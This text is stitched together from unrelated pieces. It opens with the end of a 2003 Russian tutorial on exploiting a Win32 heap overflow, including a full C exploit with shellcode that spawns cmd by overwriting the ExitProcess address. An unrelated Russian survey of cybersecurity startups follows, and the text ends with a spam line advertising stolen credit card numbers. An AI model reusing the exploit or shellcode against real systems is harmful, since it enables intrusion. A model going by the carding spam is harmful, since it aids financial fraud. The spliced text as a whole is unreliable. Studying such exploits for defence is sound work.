41 41 41 41 41 41 41 00 FD FD CD CD CD AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.ээННН
ясное дело, что это и будет причина ошибки!
и вот, как и следовало ожидать, сразу после присваивания указателю pHead адреса на
структуры заголовка идёт проверка блока, т.е. проверка того адреса, который был присвоен
указателю:
/* verify block type */
_ASSERTE(_BLOCK_TYPE_IS_VALID(pHead->nBlockUse));
если сделать шаг дальше, то на этом месте выскочит ошибка!
Но причина не в том, что мы затёрли адрес на структуру…причина в том, что мы
затерли те байты, которые используются при данной проверке:
вот эти байты “00 00 00 01 00 00 00 28 00 00 00”.
если же их не затерать, то выполнение функции free() продолжится далее! А именно
проверки и работа со структурой, на которую указывает pHead! Это и есть предмет
для тщательного изучения, т.к. адрес на структуру заголовка блока мы контролируем.
И разумеется самые интересные строки далее для меня были:
предлагаю изучить их повнимательней:
последняя инструкция вызывает опасения, т.к. ,контролируя ecx и eax, можно перезаписать
какой-нибудь адрес, хранящийся в [ecx+4] на значение(адрес), которое хранится в eax.
И что же вы думаете? Это действительно так! Мы контролируем eax и ecx! :)) Т.е.
адрес, на который указывает pHead – мы можем перезаписать..
Вот где собака зарыта! 🙂 Теперь достаточно вместо адреса структуры заголовка блока
написать адрес функции ExitProcess(), а в следующие 4 байта записать адрес, где
хранится шеллкод.
Но не стоит торопиться…предлагаю рассмотреть следующую строку, которая осталась:
Как видно, тут мы тоже контролируем ecx & eax. НО! Следует уделить этому
куску должное внимание!
Что же делать в этом случае? :)) Не стоит отчаиваться и забывать, что при прыжке на
шеллкод эти байты: “\x30\x01\x43\x00” превратятся в инструкции, которые будут выполняться!
Теперь задача состоит в том, чтобы сделать так..чтоб эти инструкции ничего не испортили.
Как это можно сделать? Очень просто – добавить дополнительные инструкции в начало, чтобы
при интерференции картина не изменилась :)), т.е. добавить 8 буковок A, к примеру, как я
и сделал!
маленькие нюансы: мы, когда добираемся до адреса структуры блока (0х00430130)
сносим на своём пути другие данные, которые используются функцией __sbh_free_block
при непосредственном освобождении:
void __cdecl __sbh_free_block (PHEADER pHeader, void * pvAlloc)
{
….
pEntry = (PENTRY)((char *)pvAlloc – sizeof(int));
sizeEntry = pEntry->sizeFront – 1;
// point to next entry to get its size
pNext = (PENTRY)((char *)pEntry + sizeEntry);
sizeNext = pNext->sizeFront;
….
т.к. sizeFront есть ничто иное как 0х00000091 и если в нём нолики заменить на
хотя бы те же 0х01, то получится 0х01010191, что есть 16843153. И представьте
какой адрес тогда присвоится указателю pNext при наличии вот такого громадного
смещения!
Чтобы избежать этой трудности…достаточно записать вместо этих 4байт маленькую
величину, такую как 0хffffffff :). Вот и всё! Проблема решена!
Окончательный вариант получается таков (эксплоит):
.:-[exploit code]——————
/*
\ Heap Overflow exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /02.11.03/
/
\
*/
#include <windows.h>
#include <stdio.h>
char shellcode[] =
“\x41\x41\x41\x41”
“\x41\x41\x41\x41”
“\x33\xD2”
“\x52”
“\x68\x6C\x6C\x20\x20”
“\x68\x72\x74\x2E\x64”
“\x68\x6D\x73\x76\x63”
“\x54”
“\xB9\xD8\x05\xE8\x77”
“\xFF\xD1”
“\x52”
“\x68\x20\x63\x6D\x64”
“\x54”
“\xB9\x44\x80\xC1\x77”
“\xFF\xD1”
“\x52”
“\xB9\xDC\x7A\xC2\x77”
“\xFF\xD1”;
int main() {
char *a;
char *b;
a=(char *)malloc(100);
b=(char *)malloc(30);
printf(“%p
“,shellcode);
char arg[]=
“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA” //malloc(30)
“\xfd\xfd\xfd\xfd”
“\x01\x01\x01\x01\x01\x01\x51\x01\x01\x01\xff\xff\xff\xff” //important
data
“\x34\x51\x42\x00” //0x00425134+4 — addr of ExitProcess()
“\x30\x2a\x42\x00” //0x00422a30 — addr of shellcode
;
memcpy(b,&arg,sizeof(arg));
free(a);
ExitProcess(0);
}
.:-[end of exploit code]———–
Ед. проблема, опять остающаяся в силе – это 0х00 в адресах, которые нужно использовать!
В случае с memcpy() нули не играют никакой роли, а вот, если использовать strcpy, etc.,
то необходимо задуматься, что именно надо переписать, и где именно расположить шеллкод! 😉
В этой области довольно много интересного, если покопать хорошенько 😉 !
Надеюсь я смог объяснить основные принципы эксплоитинга для Win32! Для этого
достаточно было взять дебагер и поизучать работу программ в целом! И как оказалось
ничего сложного по сути и нет..Как говорится, было бы желание! 😉
-> Приветы :)) ->
Billi_k1d’y, alphe, tank’y, c1sco, v1pee, ni69az’y, Ares’y, damned’y, akid’y
ulgrig’y, hhs’y, tANDm’y и остальным 🙂
[Copyrights (C) 2003 Crazy Einstein (aka xCrZx) crazy_einstein@yahoo.com
/02.11.03/]
В статье мы расскажем о наиболее интересных стартапах в области кибербезопасности, на которые следует обратить внимание.
Хотите узнать, что происходит нового в сфере кибербезопасности, – обращайте внимание на стартапы, относящиеся к данной области. Стартапы начинаются с инновационной идеи и не ограничиваются стандартными решениями и основным подходом. Зачастую стартапы справляются с проблемами, которые больше никто не может решить.
Обратной стороной стартапов, конечно же, нехватка ресурсов и зрелости. Выбор продукта или платформы стартапа – это риск, требующий особых отношений между заказчиком и поставщиком . Однако, в случае успеха компания может получить конкурентное преимущество или снизить нагрузку на ресурсы безопасности.
Ниже приведены наиболее интересные стартапы (компании, основанные или вышедшие из «скрытого режима» за последние два года).
Компания Abnormal Security, основанная в 2019 году, предлагает облачную платформу безопасности электронной почты, которая использует анализ поведенческих данных для выявления и предотвращения атак на электронную почту. Платформа на базе искусственного интеллекта анализирует поведение пользовательских данных, организационную структуру, отношения и бизнес-процессы, чтобы выявить аномальную активность, которая может указывать на кибератаку. Платформа защиты электронной почты Abnormal может предотвратить компрометацию корпоративной электронной почты, атаки на цепочку поставок , мошенничество со счетами, фишинг учетных данных и компрометацию учетной записи электронной почты. Компания также предоставляет инструменты для автоматизации реагирования на инциденты, а платформа дает облачный API для интеграции с корпоративными платформами, такими как Microsoft Office 365, G Suite и Slack.
Копания Apiiro вышла из «скрытого режима» в 2020 году. Ее платформа devsecops переводит жизненный цикл безопасной разработки «от ручного и периодического подхода «разработчики в последнюю очередь» к автоматическому подходу, основанному на оценке риска, «разработчики в первую очередь», написал в блоге соучредитель и генеральный директор Идан Плотник . Платформа Apiiro работает, соединяя все локальные и облачные системы управления версиями и билетами через API. Платформа также предоставляет настраиваемые предопределенные правила управления кодом. Со временем платформа создает инвентарь, «изучая» все продукты, проекты и репозитории. Эти данные позволяют лучше идентифицировать рискованные изменения кода.
Axis Security Application Access Cloud – облачное решение для доступа к приложениям , построенное на принципе нулевого доверия. Он не полагается на наличие агентов, установленных на пользовательских устройствах. Поэтому организации могут подключать пользователей – локальных и удаленных – на любом устройстве к частным приложениям, не затрагивая сеть или сами приложения. Axis вышла из «скрытого режима» в 2020 году.
BreachQuest, вышедшая из «скрытого режима» 25 августа 2021 года, предлагает платформу реагирования на инциденты под названием Priori. Платформа обеспечивает большую наглядность за счет постоянного отслеживания вредоносной активности. Компания утверждает, что Priori может предоставить мгновенную информацию об атаке и о том, какие конечные точки скомпрометированы после обнаружения угрозы.
Cloudrise предоставляет услуги управляемой защиты данных и автоматизации безопасности в формате SaaS. Несмотря на свое название, Cloudrise защищает как облачные, так и локальные данные. Компания утверждает, что может интегрировать защиту данных в проекты цифровой трансформации. Cloudrise автоматизирует рабочие процессы с помощью решений для защиты данных и конфиденциальности. Компания Cloudrise была запущена в октябре 2019 года.
Cylentium утверждает, что ее технология кибер-невидимости может «скрыть» корпоративную или домашнюю сеть и любое подключенное к ней устройство от обнаружения злоумышленниками. Компания называет эту концепцию «нулевой идентичностью». Компания продает свою продукцию предприятиям, потребителям и государственному сектору. Cylentium была запущена в 2020 году.
Компания Deduce , основанная в 2019 году, предлагает два продукта для так называемого «интеллектуального анализа личности». Служба оповещений клиентов отправляет клиентам уведомления о потенциальной компрометации учетной записи, а оценка риска идентификации использует агрегированные данные для оценки риска компрометации учетной записи. Компания использует когнитивные алгоритмы для анализа конфиденциальных данных с более чем 150 000 сайтов и приложений для выявления возможного мошенничества. Deduce заявляет, что использование ее продуктов снижает ущерб от захвата аккаунта более чем на 90%.
Автоматизированная платформа безопасности и соответствия Drata ориентирована на готовность к аудиту по таким стандартам, как SOC 2 или ISO 27001. Drata отслеживает и собирает данные о мерах безопасности, чтобы предоставить доказательства их наличия и работы. Платформа также помогает оптимизировать рабочие процессы. Drata была основана в 2020 году.
FYEO – это платформа для мониторинга угроз и управления доступом для потребителей, предприятий и малого и среднего бизнеса. Компания утверждает, что ее решения для управления учетными данными снимают бремя управления цифровой идентификацией. FYEO Domain Intelligence («FYEO DI») предоставляет услуги мониторинга домена, учетных данных и угроз. FYEO Identity будет предоставлять услуги управления паролями и идентификацией, начиная с четвертого квартала 2021 года. FYEO вышла из «скрытого режима» в 2021 году.
Kronos – платформа прогнозирующей аналитики уязвимостей (PVA) от компании Hive Pro , основанная на четырех основных принципах: предотвращение, обнаружение, реагирование и прогнозирование. Hive Pro автоматизирует и координирует устранение уязвимостей с помощью единого представления. Продукт компании Artemis представляет собой платформу и услугу для тестирования на проникновение на основе данных. Компания Hive Pro была основана в 2019 году.
Израильская компания Infinipoint была основана в 2019 году. Свой основной облачный продукт она называет «идентификация устройства как услуга» или DIaaS , который представляет собой решение для идентификации и определения положения устройства. Продукт интегрируется с аутентификацией SSO и действует как единая точка принуждения для всех корпоративных сервисов. DIaaS использует анализ рисков для обеспечения соблюдения политик, предоставляет статус безопасности устройства как утверждается, устраняет уязвимости «одним щелчком».
Компания Kameleon , занимающаяся производством полупроводников, не имеет собственных фабрик и занимает особое место среди поставщиков средств кибербезопасности. Компания разработала «Блок обработки проактивной безопасности» (ProSPU). Он предназначен для защиты систем при загрузке и для использования в центрах обработки данных, управляемых компьютерах, серверах и системах облачных вычислений. Компания Kameleon была основана в 2019 году.
Облачная платформа безопасности данных Open Raven предназначена для обеспечения большей прозрачности облачных ресурсов. Платформа отображает все облачные хранилища данных, включая теневые облачные учетные записи, и идентифицирует данные, которые они хранят. Затем Open Raven в режиме реального времени отслеживает утечки данных и нарушения политик и предупреждает команды о необходимости исправлений. Open Raven также может отслеживать файлы журналов на предмет конфиденциальной информации, которую следует удалить. Компания вышла из «скрытого режима» в 2020 году.
Компания Satori, основанная в 2019 году, называет свой сервис доступа к данным “DataSecOps”. Целью сервиса является отделение элементов управления безопасностью и конфиденциальностью от архитектуры. Сервис отслеживает, классифицирует и контролирует доступ к конфиденциальным данным. Имеется возможность настроить политики на основе таких критериев, как группы, пользователи, типы данных или схема, чтобы предотвратить несанкционированный доступ, замаскировать конфиденциальные данные или запустить рабочий процесс. Сервис предлагает предварительно настроенные политики для общих правил, таких как GDPR , CCPA и HIPAA .
Компания Scope Security недавно вышла из «скрытого режима», будучи основана в 2019 году. Ее продукт Scope OmniSight нацелен на отрасль здравоохранения и обнаруживает атаки на ИТ-инфраструктуру, клинические системы и системы электронных медицинских записей . Компонент анализа угроз может собирать индикаторы угроз из множества внутренних и сторонних источников, представляя данные через единый портал.
Основным продуктом Strata является платформа Maverics Identity Orchestration Platform . Это распределенная мультиоблачная платформа управления идентификацией. Заявленная цель Strata – обеспечить согласованность в распределенных облачных средах для идентификации пользователей для приложений, развернутых в нескольких облаках и локально. Функции включают в себя решение безопасного гибридного доступа для расширения доступа с нулевым доверием к локальным приложениям для облачных пользователей, уровень абстракции идентификации для лучшего управления идентификацией в мультиоблачной среде и каталог коннекторов для интеграции систем идентификации из популярных облачных систем и систем управления идентификацией. Strata была основана в 2019 году.
SynSaber , запущенная 22 июля 2021 года, предлагает решение для мониторинга промышленных активов и сети. Компания обещает обеспечить «постоянное понимание и осведомленность о состоянии, уязвимостях и угрозах во всех точках промышленной экосистемы, включая IIoT, облако и локальную среду». SynSaber была основана бывшими лидерами Dragos и Crowdstrike.
Traceable называет свой основной продукт на основе искусственного интеллекта чем-то средним между брандмауэром веб-приложений и самозащитой приложений во время выполнения. Компания утверждает, что предлагает точное обнаружение и блокирование угроз путем мониторинга активности приложений и непрерывного обучения, чтобы отличать обычную активность от вредоносной. Продукт интегрируется со шлюзами API. Traceable была основана в июле 2020 года.
Компания Wiz, основанная командой облачной безопасности Microsoft, предлагает решение для обеспечения безопасности в нескольких облаках, рассчитанное на масштабную работу. Компания утверждает, что ее продукт может анализировать все уровни облачного стека для выявления векторов атак с высоким риском и обеспечивать понимание, позволяющее лучше расставлять приоритеты. Wiz использует безагентный подход и может сканировать все виртуальные машины и контейнеры. Wiz вышла из «скрытого режима» в 2020 году.
Работает на CMS “1С-Битрикс: Управление сайтом”
buy credit card numbers cvv online buy cc logs